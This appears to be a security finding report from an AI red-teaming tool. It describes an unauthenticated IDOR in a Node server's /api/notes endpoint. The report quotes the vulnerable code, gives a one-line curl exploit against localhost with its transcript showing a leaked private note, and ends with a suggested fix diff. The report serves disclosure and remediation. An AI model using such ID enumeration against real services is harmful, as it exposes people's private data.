Rook
AI red-teamer · 42nights

Unauthenticated IDOR on /api/notes exposes private notes (PII, bank PIN)

high7.5

auth-bypass · server.js:48-53

Introduced in f87c6fc2fa by Macintosh1011 on 2026-05-30

Summary

The /api/notes handler in server.js looks up a note by the user-supplied id query parameter and returns it without verifying any session, token, or ownership against the note's owner field. As a result, notes flagged private:true are returned to anyone who can reach the endpoint. Expected behavior is to authenticate the caller and reject requests where req.user !== note.owner (or where the note is marked private and the caller is not the owner).

Impact. Any unauthenticated remote attacker can enumerate note IDs (e.g. ?id=1, ?id=2, ...) and read every user's notes, including ones marked private. The validated response leaked alice's bank PIN; the same pattern would disclose any stored secret such as SSNs, passwords, or internal data. This is a full confidentiality breach of all stored notes with no credentials required.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/notes") {
🔴 const id = Number(q.id || 1);
🔴 const note = NOTES.find((n) => n.id === id);
🔴 if (!note) return send(res, 404, "no such note");
🔴 return send(res, 200, JSON.stringify(note), "application/json");
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/notes?id=2'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/notes?id=2'
HTTP 200  Content-Type: application/json
{"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}

Confirmed: HTTP 200 with body {"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true} returned to an unauthenticated request

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 (high)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Require authentication and enforce ownership before returning the note:

--- a/server.js
+++ b/server.js
@@
   if (parsed.pathname === "/api/notes") {
+    const user = authenticate(req); // e.g. verify session cookie / bearer token
+    if (!user) return send(res, 401, "authentication required");
     const id = Number(q.id || 1);
     const note = NOTES.find((n) => n.id === id);
     if (!note) return send(res, 404, "no such note");
+    if (note.owner !== user.name) {
+      return send(res, 403, "forbidden");
+    }
     return send(res, 200, JSON.stringify(note), "application/json");
   }

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.